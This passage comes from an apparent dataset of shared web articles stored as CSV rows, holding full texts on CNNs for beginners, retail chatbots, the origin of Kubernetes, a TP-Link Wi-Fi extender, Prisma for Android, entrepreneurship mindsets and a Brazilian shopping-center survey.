over 100 competitions. His research interests include automatic machine learning, deep learning, hyperparameter optimization, computer vision, image analysis and retrieval and pattern recognition.",en
1469222351,CONTENT SHARED,8378863480597222815,-1443636648652872475,-65776639285603350,,,,HTML,https://adeshpande3.github.io/adeshpande3.github.io/A-Beginner's-Guide-To-Understanding-Convolutional-Neural-Networks/,A Beginner's Guide To Understanding Convolutional Neural Networks,"Convolutional neural networks. Sounds like a weird combination of biology and math with a little CS sprinkled in, but these networks have been some of the most influential innovations in the field of computer vision. 2012 was the first year that neural nets grew to prominence as Alex Krizhevsky used them to win that year's ImageNet competition (basically, the annual Olympics of computer vision), dropping the classification error record from 26% to 15%, an astounding improvement at the time.Ever since then, a host of companies have been using deep learning at the core of their services. Facebook uses neural nets for their automatic tagging algorithms, Google for their photo search, Amazon for their product recommendations, Pinterest for their home feed personalization, and Instagram for their search infrastructure. However, the classic, and arguably most popular, use case of these networks is for image processing. Within image processing, let's take a look at how to use these CNNs for image classification. The Problem Space Image classification is the task of taking an input image and outputting a class (a cat, dog, etc) or a probability of classes that best describes the image. For humans, this task of recognition is one of the first skills we learn from the moment we are born and is one that comes naturally and effortlessly as adults. Without even thinking twice, we're able to quickly and seamlessly identify the environment we are in as well as the objects that surround us. When we see an image or just when we look at the world around us, most of the time we are able to immediately characterize the scene and give each object a label, all without even consciously noticing. These skills of being able to quickly recognize patterns, generalize from prior knowledge, and adapt to different image environments are ones that we do not share with our fellow machines. Inputs and Outputs When a computer sees an image (takes an image as input), it will see an array of pixel values. Depending on the resolution and size of the image, it will see a 32 x 32 x 3 array of numbers (The 3 refers to RGB values). Each of these numbers is given a value from 0 to 255 which describes the pixel intensity at that point. These numbers, while meaningless to us when we perform image classification, are the only inputs available to the computer. The idea is that you give the computer this array of numbers and it will output numbers that describe the probability of the image being a certain class (.80 for cat, .15 for dog, .05 for bird, etc). What We Want the Computer to Do Now that we know the problem as well as the inputs and outputs, let's think about how to approach this. What we want the computer to do is to be able to differentiate between all the images it's given and figure out the unique features that make a dog a dog or that make a cat a cat. This is the process that goes on in our minds subconsciously as well. When we look at a picture of a dog, we can classify it as such if the picture has identifiable features such as paws or 4 legs. In a similar way, the computer is able perform image classification by looking for low level features such as edges and curves, and then building up to more abstract concepts through a series of convolutional layers. This is a general overview of what a CNN does. Let's get into the specifics. Biological Connection But first, a little background. When you first heard of the term convolutional neural networks, you may have thought of something related to neuroscience or biology, and you would be right. Sort of. CNNs do take a biological inspiration from the visual cortex. The visual cortex has small regions of cells that are sensitive to specific regions of the visual field. This idea was expanded upon by a fascinating experiment by Hubel and Wiesel in 1962 ( Video ) where they showed that some individual neuronal cells in the brain responded (or fired) only in the presence of edges of a certain orientation. For example, some neurons fired when exposed to vertical edges and some when shown horizontal or diagonal edges. Hubel and Wiesel found out that all of these neurons were organized in a columnar architecture and that together, they were able to produce visual perception. This idea of specialized components inside of a system having specific tasks (the neuronal cells in the visual cortex looking for specific characteristics) is one that machines use as well, and is the basis behind CNNs. Structure Back to the specifics. A more detailed overview of what CNNs do would be that you take the image, pass it through a series of convolutional, nonlinear, pooling (downsampling), and fully connected layers, and get an output. As we said earlier, the output can be a single class or a probability of classes that best describes the image. Now, the hard part is understanding what each of these layers do. So let's get into the most important one. First Layer - Math Part The first layer in a CNN is always a Convolutional Layer . First thing to make sure you remember is what the input to this conv (I'll be using that abbreviation a lot) layer is. Like we mentioned before, the input is a 32 x 32 x 3 array of pixel values. Now, the best way to explain a conv layer is to imagine a flashlight that is shining over the top left of the image. Let's say that the light this flashlight shines covers a 5 x 5 area. And now, let's imagine this flashlight sliding across all the areas of the input image. In machine learning terms, this flashlight is called a filter (or sometimes referred to as a neuron or a kernel ) and the region that it is shining over is called the receptive field . Now this filter is also an array of numbers (the numbers are called weights or parameters ). A very important note is that the depth of this filter has to be the same as the depth of the input (this makes sure that the math works out), so the dimensions of this filter is 5 x 5 x 3. Now, let's take the first position the filter is in for example. It would be the top left corner. As the filter is sliding, or convolving , around the input image, it is multiplying the values in the filter with the original pixel values of the image (aka computing dot products ). These multiplications are all summed up (mathematically speaking, this would be 75 multiplications in total). So now you have a single number. Remember, this number is just representative of when the filter is at the top left of the image. Now, we repeat this process for every location on the input volume. (Next step would be moving the filter to the right by 1 unit, then right again by 1, and so on). Every unique location on the input volume produces a number. After sliding the filter over all the locations, you will find out that what you're left with is a 28 x 28 x 1 array of numbers, which we call an activation map or feature map . The reason you get a 28 x 28 array is that there are 784 different locations that a 5 x 5 filter can fit on a 32 x 32 input image. These 784 numbers are mapped to a 28 x 28 array. (Quick Note: Some of the images, including the one above, I used came from this terrific book, ""Neural Networks and Deep Learning"" by Michael Nielsen. Strongly recommend.) Let's say now we use two 5 x 5 x 3 filters instead of one. Then our output volume would be 28 x 28 x 2. By using more filters, we are able to preserve the spatial dimensions better. Mathematically, this is what's going on in a convolutional layer. First Layer - High Level Perspective However, let's talk about what this convolution is actually doing from a high level. Each of these filters can be thought of as feature identifiers . When I say features, I'm talking about things like straight edges, simple colors, and curves. Think about the simplest characteristics that all images have in common with each other. Let's say our first filter is 7 x 7 x 3 and is going to be a curve detector. (In this section, let's ignore the fact that the filter is 3 units deep and only consider the top depth slice of the filter and the image, for simplicity.)As a curve detector, the filter will have a pixel structure in which there will be higher numerical values along the area that is a shape of a curve (Remember, these filters that we're talking about as just numbers!). Now, let's go back to visualizing this mathematically. When we have this filter at the top left corner of the input volume, it is computing dot products between the filter and pixel values at that region. Now let's take an example of an image that we want to classify, and let's put our filter at the top left corner. Remember, what we have to do is multiply the values in the filter with the original pixel values of the image. Basically, in the input image, if there is a shape that generally resembles the curve that this filter is representing, then all of the dot products summed together will result in a large value! Now let's see what happens when we move our filter. The value is much lower! This is because there wasn't anything in the image section that responded to the curve detector filter. Remember, the output of this conv layer is an activation map. So, in the simple case of a one filter convolution (and if that filter is a curve detector), the activation map will show the areas in which there at mostly likely to be curves in the picture. In this example, the top left value of our 28 x 28 x 1 activation map will be 6600. This high value means that it is likely that there is some sort of curve in the input volume that caused the filter to activate. The top right value in our activation map will be 0 because there wasn't anything in the input volume that caused the filter to activate (or more simply said, there wasn't a curve in that region of the original image). Remember, this is just for one filter. This is just a filter that is going to detect lines that curve outward and to the right. We can have other filters for lines that curve to the left or for straight edges. The more filters, the greater the depth of the activation map, and the more information we have about the input volume. Disclaimer: The filter I described in this section was simplistic for the main purpose of describing the math that goes on during a convolution. In the picture below, you'll see some examples of actual visualizations of the filters of the first conv layer of a trained network. Nonetheless, the main argument remains the same. The filters on the first layer convolve around the input image and ""activate"" (or compute high values) when the specific feature it is looking for is in the input volume. (Quick Note: The above image came from Stanford's CS 231N course taught by Andrej Karpathy and Justin Johnson. Recommend for anyone looking for a deeper understanding of CNNs.) Going Deeper Through the Network Now in a traditional convolutional neural network architecture, there are other layers that are interspersed between these conv layers. I'd strongly encourage those interested to read up on them and understand their function and effects, but in a general sense, they provide nonlinearities and preservation of dimension that help to improve the robustness of the network and control overfitting. A classic CNN architecture would look like this. The last layer, however, is an important one and one that we will go into later on. Let's just take a step back and review what we've learned so far. We talked about what the filters in the first conv layer are designed to detect. They detect low level features such as edges and curves. As one would imagine, in order to predict whether an image is a type of object, we need the network to be able to recognize higher level features such as hands or paws or ears. So let's think about what the output of the network is after the first conv layer. It would be a 28 x 28 x 3 volume (assuming we use three 5 x 5 x 3 filters). When we go through another conv layer, the output of the first conv layer becomes the input of the 2 nd conv layer. Now, this is a little bit harder to visualize. When we were talking about the first layer, the input was just the original image. However, when we're talking about the 2 nd conv layer, the input is the activation map(s) that result from the first layer. So each layer of the input is basically describing the locations in the original image for where certain low level features appear. Now when you apply a set of filters on top of that (pass it through the 2 nd conv layer), the output will be activations that represent higher level features. Types of these features could be semicircles (combination of a curve and straight edge) or squares (combination of several straight edges). As you go through the network and go through more conv layers, you get activation maps that represent more and more complex features. By the end of the network, you may have some filters that activate when there is handwriting in the image, filters that activate when they see pink objects, etc. If you want more information about visualizing filters in ConvNets, Matt Zeiler and Rob Fergus had an excellent research paper discussing the topic. Jason Yosinski also has a video on YouTube that provides a great visual representation. Another interesting thing to note is that as you go deeper into the network, the filters begin to have a larger and larger receptive field, which means that they are able to consider information from a larger area of the original input volume (another way of putting it is that they are more responsive to a larger region of pixel space). Fully Connected Layer Now that we can detect these high level features, the icing on the cake is attaching a fully connected layer to the end of the network. This layer basically takes an input volume (whatever the output is of the conv or ReLU or pool layer preceding it) and outputs an N dimensional vector where N is the number of classes that the program has to choose from. For example, if you wanted a digit classification program, N would be 10 since there are 10 digits. Each number in this N dimensional vector represents the probability of a certain class. For example, if the resulting vector for a digit classification program is [0 .1 .1 .75 0 0 0 0 0 .05], then this represents a 10% probability that the image is a 1, a 10% probability that the image is a 2, a 75% probability that the image is a 3, and a 5% probability that the image is a 9 (Side note: There are other ways that you can represent the output, but I am just showing the softmax approach). The way this fully connected layer works is that it looks at the output of the previous layer (which as we remember should represent the activation maps of high level features) and determines which features most correlate to a particular class. For example, if the program is predicting that some image is a dog, it will have high values in the activation maps that represent high level features like a paw or 4 legs, etc. Similarly, if the program is predicting that some image is a bird, it will have high values in the activation maps that represent high level features like wings or a beak, etc. Basically, a FC layer looks at what high level features most strongly correlate to a particular class and has particular weights so that when you compute the dot product between the weights and the previous layer, you get the correct probabilities for the different classes. Training (AKA:What Makes this Stuff Work) Now, this is the one aspect of neural networks that I purposely haven't mentioned yet and it is probably the most important part. There may be a lot of questions you had while reading. How do the filters in the first conv layer know to look for edges and curves? How does the fully connected layer know what activation maps to look at? How do the filters in each layer know what values to have? The way the computer is able to adjust its filter values (or weights) is through a training process called backpropagation . Before we get into backpropagation, we must first take a step back and talk about what a neural network needs in order to work. At the moment we all were born, our minds were fresh. We didn't know what a cat or dog or bird was. In a similar sort of way, before the CNN starts, the weights or filter values are randomized. The filters don't know to look for edges and curves. The filters in the higher layers don't know to look for paws and beaks. As we grew older however, our parents and teachers showed us different pictures and images and gave us a corresponding label. This idea of being given an image and a label is the training process that CNNs go through. Before getting too into it, let's just say that we have a training set that has thousands of images of dogs, cats, and birds and each of the images has a label of what animal that picture is. Back to backprop. So backpropagation can be separated into 4 distinct sections, the forward pass, the loss function, the backward pass, and the weight update. During the forward pass , you take a training image which as we remember is a 32 x 32 x 3 array of numbers and pass it through the whole network. On our first training example, since all of the weights or filter values were randomly initialized, the output will probably be something like [.1 .1 .1 .1 .1 .1 .1 .1 .1 .1], basically an output that doesn't give preference to any number in particular. The network, with its current weights, isn't able to look for those low level features or thus isn't able to make any reasonable conclusion about what the classification might be. This goes to the loss function part of backpropagation. Remember that what we are using right now is training data. This data has both an image and a label. Let's say for example that the first training image inputted was a 3. The label for the image would be [0 0 0 1 0 0 0 0 0 0]. A loss function can be defined in many different ways but a common one is MSE (mean squared error), which is ½ times (actual - predicted) squared. Let's say the variable L is equal to that value. As you can imagine, the loss will be extremely high for the first couple of training images. Now, let's just think about this intuitively. We want to get to a point where the predicted label (output of the ConvNet) is the same as the training label (This means that our network got its prediction right).In order to get there, we want to minimize the amount of loss we have. Visualizing this as just an optimization problem in calculus, we want to find out which inputs (weights in our case) most directly contributed to the loss (or error) of the network. This is the mathematical equivalent of a dL/dW where W are the weights at a particular layer. Now, what we want to do is perform a backward pass through the network, which is determining which weights contributed most to the loss and finding ways to adjust them so that the loss decreases. Once we compute this derivative, we then go to the last step which is the weight update . This is where we take all the weights of the filters and update them so that they change in the direction of the gradient. The learning rate is a parameter that is chosen by the programmer. A high learning rate means that bigger steps are taken in the weight updates and thus, it may take less time for the model to converge on an optimal set of weights. However, a learning rate that is too high could result in jumps that are too large and not precise enough to reach the optimal point. The process of forward pass, loss function, backward pass, and parameter update is generally called one epoch . The program will repeat this process for a fixed number of epochs for each training image. Once you finish the parameter update on the last training example, hopefully the network should be trained well enough so that the weights of the layers are tuned correctly. Testing Finally, to see whether or not our CNN works, we have a different set of images and labels (can't double dip between training and test!) and pass the images through the CNN. We compare the outputs to the ground truth and see if our network works! How Companies Use CNNs Data, data, data. The companies that have lots of this magic 4 letter word are the ones that have an inherent advantage over the rest of the competition. The more training data that you can give to a network, the more training iterations you can make, the more weight updates you can make, and the better tuned to the network is when it goes to production. Facebook (and Instagram) can use all the photos of the billion users it currently has, Pinterest can use information of the 50 billion pins that are on its site, Google can use search data, and Amazon can use data from the millions of products that are bought every day. And now you know the magic behind how they use it. Disclaimer While this post should be a good start to understanding CNNs, it is by no means a comprehensive overview. Things not discussed in this post include the nonlinear and pooling layers as well as hyperparameters of the network such as filter sizes, stride, and padding. Topics like network architecture, batch normalization, vanishing gradients, dropout, initialization techniques, non-convex optimization,biases, choices of loss functions, data augmentation,regularization methods, computational considerations, modifications of backpropagation, and more were also not discussed (yet ).",en
1469289559,CONTENT SHARED,5870088709232734362,-1032019229384696495,7514589316775840044,,,,HTML,http://venturebeat.com/2016/07/22/how-a-i-and-chatbots-can-help-retail-chains/,How A.I. and chatbots can help retailers create unique in-store experiences,"In case you haven't noticed, there's yet another major shift in technology . This one has to do with the A.I. and chatbots that help us in our daily lives and at work. They offer many advantages, but adjusting to them has been no easy task. Despite some of the massive advancements we've made in tech, it's clear we're still in an ""adjustment period"" - with A.I., in particular. Natural selection is taking its course, as individuals and entire industries are forced to get smart or fall behind. But those that can adapt swiftly and seamlessly are pushing the boundaries, not just of excellence but of human discovery. Retailers around the globe are taking advantage of this. Faced with an ever-growing set of unique challenges, tech teams are bending over backwards to create ingenious marketing techniques and unprecedented customer service methods. Chatbots have stepped onto the scene as an extremely multi-faceted tool for reaching and connecting with customers. They're so good, in fact, that they're on their way to obviating human interactions - to an extent, of course. Shifting from physical commerce to electronic commerce and now to conversational commerce, the retail industry is obviously relying less and less on human interaction. It's imperative, however, to pair these ""chatter-bots"" with humans to avoid another Microsoft Tay problem . There will always be consumers who resist A.I. as a method of communication and commerce, but this is true with just about every type of technology. So I urge retailers to stop fighting the chatbot movement and embrace it. Just make sure you always add a touch of humanity. In replacing the human behind the screen with A.I., companies can now shift resources to enhance the in-store experience for customers who are ready to make their next purchase. Examples of A.I. helping retailers A handful of retailers, however, are succeeding. The nation's largest department store chain, Macy's, is currently testing its ""mobile companion"" app that aims to provide answers to questions that are specific to each store location (think inventory, locations of items and brands, dressing rooms, and more). The chatbot, which was developed by IBM Watson, offers nearly instant feedback for users. It represents part of the company's push to not only make shopping more enjoyable but to distinguish the brand as an emerging leader in A.I. An app rolled out last year by Home Depot sought to relieve some of the pain of painting a room. You take a picture of a room in your house and pick a color to virtually ""paint"" the walls. The app will adjust the colors to reflect different times of day and types of lighting, so the user can see each color in its entirety. Tap a decorative object in the picture, like a pillow or chair, and the app will recommend colors that best match it. Reviews of the app, however, are uneven, and it's unclear whether improvements are to be expected or not. Unfortunately, when it comes to A.I., it's way more than just the thought that counts. Neiman Marcus did a soft launch earlier this year of Bluetooth beacons , a tool designed by their innovation lab (called iLab). The beacons are basically wireless nodes that communicate with shoppers and serve as locators. In their current infant stages, the beacons guide customers toward in-store sales, but the possibilities are endless - stay tuned. The retail giant has also been testing memory mirrors that are just about as magical as they sound. You record and store video to a personal account that can be accessed remotely and allows you to compare outfits you've tried on, digitally change the colors, and, of course, share it all to social media. All of this is to show that A.I. is not one-size-fits-all. A brilliant app that proves integral to the shopping experience at one store may be totally useless in another. There are no shortcuts when it comes to finding the perfect fit for A.I. in your business. Target is a stellar example of a company utilizing A.I. to serve its particular goals. It recently introduced its ""Open House"" store - an interactive, high-tech space that connects the customer and the vendors directly by allowing vendors to design a physically interactive demo of their product in real time. Although the Open House is still in its experimental phase, Target has found a way to create a smart-home showcase that appeals to the mainstream consumer. It's fresh, it's unique, and although it's quite techy, it's human. But Target, more than anyone, knows that innovation is only half the battle. Designing an A.I. and optimizing web presence is easy. Maintaining in-store magic despite the growing convenience of online shopping is where the new challenge lies. For stores to survive, we need to think deeper when it comes to luring in the target demographic, and location is the steepest hill any retailer will have to climb. It's more important now than ever to invest in the right locations - and there is a plethora of technology to help you do so. Some people are intimidated by the sheer power of A.I., but if you can't beat the robots, join them. Or better yet, teach them to work for you. Have you adapted?",en
1469305118,CONTENT SHARED,-5086435085468197402,-1443636648652872475,-5183014287331930273,,,,HTML,https://cloudplatform.googleblog.com/2016/07/from-Google-to-the-world-the-Kubernetes-origin-story.html,From Google to the world: the Kubernetes origin story,"""So let me get this straight. You want to build an external version of the Borg task scheduler. One of our most important competitive advantages. The one we don't even talk about externally. And, on top of that, you want to open source it?"" The story of how Kubernetes came to be starts here. It was Summer 2013, and we were in a room with Urs Holzle, head of technical infrastructure and chief architect of many of Google's most important network innovations. We were pitching him our idea to build an open source container management system. But it wasn't going well. Or so we thought. To really understand how we ended up in that meeting, you have to back up a bit. For years, Google had been quietly building some of the best network infrastructure to power intensive online services like Google Search, Gmail and YouTube. We built everything from scratch because we had to, and in the early days, we were on a tight budget. In order to wring every possible ounce of performance out of our servers, we had started experimenting with containers over a decade ago. We built a cluster management system called Borg , which runs hundreds of thousands of jobs and makes computing much more efficient - allowing us to run our data centers at high utilization. Later, we used this same infrastructure to deliver Google Cloud Platform , so anyone could use it for their computing needs. However, with the launch of our Infrastructure-as-a-Service platform Google Compute Engine , we noticed an interesting problem: customers were paying for a lot of CPUs, but their utilization rates were extremely low because they were running VMs. We knew we had an internal solution for this. And what's more, we knew that containers were the future of computing - they're scalable, portable and more efficient. The container system Docker was already up and running, and we thought it was great. But the trick, which we knew through years of trial and error within Google, was a great container management system. That's what we wanted to build. Even though we had been rejected before, we didn't give up. Good ideas usually win out at Google, and we were convinced this was a good idea. We met with anyone who would listen to us to pitch the idea. A turning point was a fateful shuttle ride where I found myself sitting next to Eric Brewer, VP of Cloud, and one of Urs's key strategists. I had an uninterrupted chunk of time to explain the idea to Eric, and he was convinced. Soon after, we got the green light from Urs. In keeping with the Borg theme, we named it Project Seven of Nine . (Side note: in an homage to the original name, this is also why the Kubernetes logo has seven sides.) We wanted to build something that incorporated everything we had learned about container management at Google through the design and deployment of Borg and its successor, Omega - all combined with an elegant, simple and easy-to-use UI. In three months, we had a prototype that was ready to share. We always believed that open-sourcing Kubernetes was the right way to go, bringing many benefits to the project. For one, feedback loops were essentially instantaneous - if there was a problem or something didn't work quite right, we knew about it immediately. But most importantly, we were able to work with lots of great engineers, many of whom really understood the needs of businesses who would benefit from deploying containers (have a look at the Kubernetes blog for perspectives from some of the early contributors). It was a virtuous cycle: the work of talented engineers led to more interest in the project, which further increased the rate of improvement and usage. What started as an internal summer conversation has evolved into a global movement. Kubernetes is now deployed in thousands of organizations (e.g., Box ), supported by over 830 contributors that have collectively put in 237 person years of coding effort to date. Velocity that even our wildest goals didn't anticipate. To our contributing peers and community advocates, a sincere thank you for making Kubernetes so welcoming and transparent. And to you Kubernetes, a very happy birthday to you ! If you haven't tried Kubernetes, it's easy to get started using Google Container Engine ; begin your 60-day free trial here . And to learn more about the Kubernetes story, check out the Kubernetes Origins podcast on Software Engineering Daily .",en
1469380300,CONTENT SHARED,-860751600992244121,-4028919343899978105,6836573531327580278,,,,HTML,http://www.tecmundo.com.br/roteador/107633-pega-marte-tp-link-lanca-extensor-wifi-tem-alcance-3-km.htm,Pega até em marte! TP-Link lança extensor de WiFi que tem alcance de 3 km²!,"A TP-Link é famosa por suas soluções de rede, que incluem desde adaptadores comuns até roteadores de alta potência - e nós até já testamos alguns roteadores da marca que nos impressionaram bastante. Agora, inovando mais uma vez, a fabricante lança um extensor que promete ser a solução definitiva para quem está cansado de problemas com o alcance do sinal WiFi. O modelo RE590T trabalha com o padrão 802.11ac, sendo capaz de alcançar velocidades que chegam a até 1.900 Mbps, combinando as frequências do sistema dual-band. Graças aos amplificadores de 700 mW, o aparelho pode entregar alta potência na transmissão do sinal, que, segundo informação da fabricante, chega a 3 km² de cobertura. Além desta qualidade excepcional, o extensor TP-Link RE590T conta com tela sensível ao toque, a qual dá acesso direto às configurações, de modo que o usuário não necessita usar um computador para realizar os ajustes no aparelho. O dispositivo ainda vem com processador dual-core, sendo recomendado para curtir jogos e filmes em 4K. Especificações do TP-Link RE590T Modo: extensor wireless Padrão: 802.11ac Frequência: dual-band (2,4 GHz e 5 GHz) Velocidade: até 600 Mbps (2,4 GHz) e até 1.300 Mbps (5 GHz) Antenas: 3 x dual-band Touch Screen: sim (capacitiva) Tamanho do display: 4,3 polegadas Resolução do display: 128 ppi Dimensões: 28,4 x 15,7 x 5,2 cm O TP-Link RE590T já está disponível para venda nos Estados Unidos por US$ 129,95 (R$ 423,31), mas ainda não há previsão de lançamento do aparelho aqui no Brasil.",pt
1469394378,CONTENT SHARED,8974280745225397183,-1032019229384696495,8189482671194530524,,,,HTML,https://techcrunch.com/2016/07/24/prisma-for-android/,Prisma for Android is now live for all in the Google Play Store,"The hits just keep on coming for Prisma. Just over a month after launching on iOS and almost immediately capturing the imagination of the Instagramming masses in the process, AI-fueled photo filtering app is Prisma is now live for all Android users. That's a mere five days after the app first launched in beta on Google's mobile operating system, through a limited invite system. The app certainly isn't the first to promise to turn your smartphone snaps into ""artwork,"" but the output speaks for itself, with a slew of ""art filters"" that rapidly transform photos into a wide swath of different sketch and painting styles. The app quickly made its way up the top of the App Store charts, hitting number 10 in the US around the time we checked in with co-founder and CEO Alexey Moiseenkov a few days back. That number has since settled down a bit, but the app is still at an impressive number 17. This will, no doubt, prove a watershed moment for the latest App Store darling - it surely won't escape the notice of industry insiders that Instagram got snatched up by Facebook for $1 billion a mere week or so after it launched launched its Android version. Acquisition rumors have already been swirling around the Russian company for some time. And, hey, the company's head just happened to be visiting with the social media giant when we spoke with him. Facebook batted away such speculation, but Moiseenkov added, cryptically, ""For now I can't disclose all this information. By the end of the week I think we can discuss more."" Whether that means acquisition, funding or something else remains to be seen. For now, you can see what the fuss is about in the Google Play Store. The Android version of the app contains some three dozen different filters, constituting a large cross section of different styles.",en
1469404366,CONTENT SHARED,-7195227263752331646,3609194402293569455,-1987594766686105821,,,,HTML,http://saiadolugar.com.br/empreendedorismo/fazer-coisas-acontecerem/,Fazer coisas acontecerem: Os 3 Mindsets que te ajudarão,"Quantas vezes na sua vida você já ouviu o conselho ""Se você quer ser bom em alguma coisa, apenas vá lá e faça!""? Quantas vezes esse conselho já foi realmente útil para você? Bom, como empreendedores (ou talvez futuros empreendedores), ouvimos muito esse tipo de conselho, talvez com algumas variações como ""Vá viver o seu sonho"", ou ""Faça acontecer"", ou ""As oportunidades não batem à sua porta, você precisar correr atrás do que você quer"". Encontramos esse conselho em todos os lugares! Todas as pessoas que atingiram um bom nível maestria em alguma habilidade, seja empreendedorismo, investimentos, esporte, comédia, todos nos dão essa mesma dica, mas nem sempre conseguimos colocá-la em prática. Ainda assim, se todas as pessoas dizem a mesma coisa, alguma verdade deve existir nisso. O problema, talvez, então esteja na maneira como entendemos esse conselho, mas em como o colocamos em prática. Por esse motivo, vamos conversar hoje sobre 3 Mindsets que podem te ajudar a sair do lugar e fazer coisas acontecerem. Mindset 1: O que estamos tentando fazer é realmente muito difícil Eu acho impressionante o quão injusto nós conseguimos ser com nós mesmos enquanto estamos iniciando uma jornada. Ninguém que está querendo subir o Monte Everest pensa algo do tipo: ""Sabe, escalar o Everest é algo que não sai da minha cabeça, então eu acho que eu deveria apenas ir lá e escalar logo. "" Obviamente que não! Porque escalar o Everest é algo realmente muito difícil, da mesma forma que construir uma empresa lucrativa, ou ser produtivo todos os dias. A verdade é que ter uma ideia é algo muito fácil, mas fazer essa ideia acontecer é muito difícil. Nosso fluxo de ideias é incessante, e ideias vem e vão a todo momento. Mas o foco, a força, a coragem e a determinação para tirar a ideia do papel e trabalhar por longos anos em cima dela é muito difícil. Fornecer o tempo e o espaço necessário para que a ideia amadureça e se concretize no mundo é algo muito complicado. Da mesma forma, trabalhar quando estamos motivados é muito fácil, mas o que acontece quando nossa inspiração desaparece? A Montanha Russa do Empreendedorismo No mundo do empreendedorismo, é muito comum passarmos por diferentes fases, onde em alguns momentos estamos completamente engajados com nossos projetos, e motivados para trabalhar sem interrupções, e em outros momentos não nos sentimos mais tão apaixonados pelo nosso trabalho, nossos hábitos produtivos parecem se deteriorar, e nos sentimos culpados por reduzir o ritmo. Esses altos e baixos emocionais fazem parte da nossa jornada, e são um grande desafio nos longos anos até finalmente construirmos uma empresa com alta rentabilidade. Artigo Relacionado: A Montanha Russa do Empreendedorismo: Como lidar com seus altos e baixos emocionais. Dessa forma, ao meu ver, uma das razões pelas quais nós apenas não ""vamos lá e fazemos"", é porque não sentamos para refletir o quão grande e difícil são os problemas que estamos tentando resolver. Quando paramos para realmente pensar e dividir essa grande tarefa em metas menores, e que nos parecem mais atingíveis, aí sim conseguimos começar a progredir. Mindset 2: No começo, seus resultados serão uma porcaria! Você se lembra de quando ainda estava aprendendo a andar? Não?! Bom, basicamente todos nós passamos pelo mesmo processo quando ainda não sabemos andar. Nós levantamos, caímos, levantamos de novo, damos um passo à frente, e caímos de novo. Voltamos a levantar, e de volta a cair. Esse processo se repete inúmeras vezes até finalmente conseguirmos dominar nosso equilíbrio e andar todos os dias sem problemas. Ninguém gosta de cair, mas todos percebemos que essa é uma parte importante no processo. Todas as vezes que estamos começando a desenvolver uma habilidade, o resultado ainda não sai como gostaríamos, e acaba sendo uma porcaria. Isso acontece porque ainda estamos aprendendo. Não somos mestres ainda, somos meros aprendizes! Ninguém gosta de ter maus resultados Por experiência própria, eu consigo ver que existe muita resistência, e muita procrastinação, quando percebemos que ""no início, nossos resultados serão uma porcaria"". Afinal de contas, quantas pessoas você curte, ou segue, que são uma droga no que fazem? Todos nós gostamos de estar cercados de pessoas que são boas no que fazem, e isso faz com que não queiramos que as outras pessoas vejam que nossos resultados não são tão bons em alguma área que estamos tentando desenvolver. Faz sentido, não faz? Se nossa produtividade se reduziu, e nem mesmo sabemos o que fazer para voltar a trabalhar em alta performance, não queremos que as outras pessoas saibam, não é mesmo? Bom, muitas vezes é justamente esse medo irracional de que outras pesssoas vejam suas falhas que te impede de buscar ajuda, e resolver esse problema com mais eficiência. Se não reconhecemos que está tudo bem em sermos ""okay"" quando estamos retomamos nosso caminho, então nunca conseguiremos realmente voltar aos trilhos. Artigo Relacionado: Como voltar a ser produtivo quando estamos estagnados Mindset 3: Sorte também é importante Bom, para começar, talvez você não goste propriamente da palavra sorte. Talvez prefira algo como ""coincidência"", ou ""serendipidade"". O fato é: todos nós, em algum momento das nossas carreiras, conseguimos reconhecer que estávamos no lugar certo, na hora certa, conversando com a pessoa certa para obter nossos resultados, e que nem sempre isso aconteceu pela nossa vontade. Aquele amigo do seu tio que se interessou na sua ideia e resolveu investir, ou aquela pessoa no congresso que você nem fazia ideia que existia, mas que te deu uma ótima ideia, ou aquela pessoa que você conversou na fila do mercado e acabou sendo sua primeira cliente. Embora ninguém goste muito de atribuir seus resultados a sorte, pois é algo que está fora do nosso controle, todos nós também gostamos de relembrar momentos de coincidência, onde não precisamos planejar, ou pensar muito a respeito do que estava para acontecer. Esses tipos de acontecimentos possuem um papel muito importante no sucesso de cada pessoa, e embora não sejam o ingrediente principal, influenciam muito a direção que as coisas caminham. Nem tudo está sob o seu controle Portanto, parte de você apenas ""ir lá e fazer"" é você aceitar que nem tudo está sob o seu controle, e que isso necessariamente não é algo ruim. Aceitar que mesmo trabalhando duro, as vezes você não vai colher os resultados que gostaria. Mas aceitar também que todas as pessoas que atingiram o sucesso, também fizeram a sua parte, e estavam dispostas a aceitar e tirar proveito das oportunidades que apareceram no caminho. Considerações Finais O conselho ""apenas vá lá e faça"" é muito verdadeiro, e útil para as mais diversas situações. Entretanto, nem sempre esse conselho se conecta ao nosso lado mais humano, e emocional, onde precisamos entender que: O que estamos tentando fazer é realmente muito difícil, e muitas vezes exige tempo e espaço para pensarmos e amadurecermos nossas ideias; No início, nossos resultados são uma porcaria, e mesmo assim está tudo bem. Justamente por percebermos que existem pessoas que estão tendo resultados melhores, conseguimos nos motivar para estudar ainda mais, e continuar sempre progredindo; Nem tudo está sob o nosso controle, e muitas vezes precisamos apenas fazer nossa parte e tirar proveito das oportunidades que aparecem no nosso caminho; Com esses 3 Mindsets , eu espero que você consiga entender e aplicar melhor um dos conselhos que mais recebemos durante nossa jornada, mas que nem sempre contribui para partirmos para ação. Torço que com eles você finalmente tome uma decisão e comece a mudar de vida. Obrigado pela leitura! Leonardo Polak é o idealizador do blog LP Produtividade , onde publica semanalmente conteúdos vinculados aos sistemas de Produtividade, Gestão do Tempo, Hábitos e Rotinas que fazem com que empreendedores de sucesso sejam os melhores no que fazem, enquanto encontram tempo para outras áreas importantes de suas vidas.",pt
1469404535,CONTENT SHARED,8541347773340490171,-1616903969205976623,8864948817681231898,,,,HTML,http://www.portaldoshopping.com.br/noticia/1975,Portal Abrasce - Conhecendo o frequentador de shopping center,"10/06/2016 CONHECENDO O FREQUENTADOR DE SHOPPING CENTER Abrasce divulga resultados da Pesquisa Perfil dos Frequentadores de Shopping Centers 2016 Em média, as pessoas ficam em torno de 1h 15 minutos em um mall. Cada vez mais as pessoas vão ao shopping acompanhadas, 60% dos visitantes costumam ir na companhia de familiares, amigos(as) ou namorado(a) . A localização é a principal razão de escolha por um shopping, em seguida está o mix de lojas e serviços oferecidos - e então, promoções e facilidade em estacionar. Estes são apenas três recortes da extensa pesquisa Perfil dos Frequentadores de Shopping Centers 2016 realizada pela Abrasce (Associação Brasileira de Shopping Centers). Segundo Huayna Perez, analista de i nteligência de Mercado Abrasce, ""a pesquisa deste ano mostra algumas mudanças de comportamento, mas também reforça hábitos e características dos consumidores que já vinham sendo acompanhadas em edições anteriores"". Por exemplo, em relação à classe social dos frequentadores, em 2016, houve redução da participação da classe B e aumento da presença da classe C. ""Esta mudança pode estar relacionada à inversão do fenômeno de ascensão das classes ocorrido no Brasil nos últimos anos"", observa Perez. Outro 